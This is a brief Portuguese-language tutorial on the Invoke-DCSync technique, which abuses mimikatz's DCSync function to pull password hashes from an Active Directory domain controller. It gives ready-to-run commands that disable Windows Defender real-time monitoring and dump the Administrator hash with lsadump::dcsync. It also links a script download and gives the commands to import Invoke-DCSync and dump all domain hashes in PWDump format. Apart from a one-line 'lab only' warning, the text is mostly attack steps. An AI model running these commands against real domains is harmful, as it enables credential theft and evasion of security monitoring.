Invoke-DCSync

Invoke-DCSync Referência: https://adsecurity.org/?p=1729 Referência: https://silentbreaksecurity.com/invoke-dcsync-because-we-all-wanted-it/ Objetivo: recuperar hashes de senha de todas as contas de usuário em um controlador de domínio usando a função DCSync do mimikatz

Aviso: Faça isso apenas em um ambiente de laboratório.

O mimikatz implementou uma ferramenta chamada DCSync, que permite ao mimikatz se passar por um Controlador de Domínio e tentar recuperar todos os hashes de senha de outro controlador de domínio.

Talvez seja necessário desativar o Windows Defender

Abra o PowerShell como administrador e digite

$ Set-MpPreference -DisableRealtimeMonitoring $true

Inicie o mimikatz

$ lsadump::dcsync /domain:test.local /user:Administrator

Agora você tem o hash da senha desse usuário

Isso exige que você tenha acesso de Administrador, especificamente o atributo Common Name Get-Replication-Changes-All

É possível usar o módulo Invoke-DCSync para extrair todos os hashes.

Baixe de: https://gist.github.com/monoxgas/9d238accd969550136db

$ Import-Module ./Invoke-DCSync.ps1
$ Invoke-DCSync -PWDumpFormat